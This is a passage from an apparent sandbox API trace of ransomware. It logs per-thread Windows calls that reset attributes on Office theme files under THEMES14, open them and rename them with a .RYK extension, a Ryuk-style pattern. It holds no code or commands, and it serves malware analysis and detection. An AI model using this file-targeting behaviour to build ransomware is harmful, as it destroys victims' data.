	[0165.341] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 531
	os_tid = 0x568

	[0165.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF", dwFileAttributes=0x80) returned 0
	[0165.343] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.343] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.343] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 532
	os_tid = 0x56c

	[0165.334] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0165.334] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.335] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.335] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 533
	os_tid = 0x938

	[0165.336] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0165.336] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.336] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.336] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 534
	os_tid = 0xad4

	[0165.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM", dwFileAttributes=0x80) returned 0
	[0165.345] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.351] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.352] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 535
	os_tid = 0x320

	[0165.339] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF", dwFileAttributes=0x80) returned 0
	[0165.346] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.346] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.346] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\QUAD.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\quad.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 536
	os_tid = 0x474

	[0165.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0165.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.675] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.675] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 537
	os_tid = 0x290

	[0165.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0165.683] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.683] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.683] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 538
	os_tid = 0xf5c

	[0165.678] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", dwFileAttributes=0x80) returned 0
	[0165.678] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.678] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.679] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 539
	os_tid = 0xdc0

	[0165.679] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", dwFileAttributes=0x80) returned 0
	[0165.680] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.680] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.680] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 540
	os_tid = 0xdc4

	[0165.681] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0165.681] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.682] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.682] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 541
	os_tid = 0xea4

	[0165.684] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0165.685] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.685] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.685] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 542
	os_tid = 0x9f0

	[0165.686] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM", dwFileAttributes=0x80) returned 0
	[0165.686] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.687] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.687] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 543
	os_tid = 0x15c

	[0165.688] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF", dwFileAttributes=0x80) returned 0
	[0165.688] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.688] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.689] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 544
	os_tid = 0x9ec

	[0165.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0165.932] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.932] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.933] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 545
	os_tid = 0xe18

	[0165.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0165.934] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.935] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.935] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 546
	os_tid = 0xd7c

	[0165.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", dwFileAttributes=0x80) returned 0
	[0166.109] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.109] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.109] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 547
	os_tid = 0xd98

	[0165.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", dwFileAttributes=0x80) returned 0
	[0166.110] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.111] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.111] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 548
	os_tid = 0xd38

	[0165.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0165.940] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.940] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.940] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 549
	os_tid = 0xd5c

	[0165.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0166.112] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.312] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.312] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 550
	os_tid = 0xd68

	[0165.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", dwFileAttributes=0x80) returned 0
	[0165.945] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.945] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.945] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 551
	os_tid = 0xd3c

	[0165.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", dwFileAttributes=0x80) returned 0
	[0166.112] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.113] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.113] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 552
	os_tid = 0xc64

	[0166.116] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0166.117] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.117] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.117] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 553
	os_tid = 0xddc

	[0166.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0166.487] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.487] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.487] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 554
	os_tid = 0xa68

	[0166.488] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", dwFileAttributes=0x80) returned 0
	[0166.488] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.489] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.489] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 555
	os_tid = 0xe34

	[0166.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", dwFileAttributes=0x80) returned 0
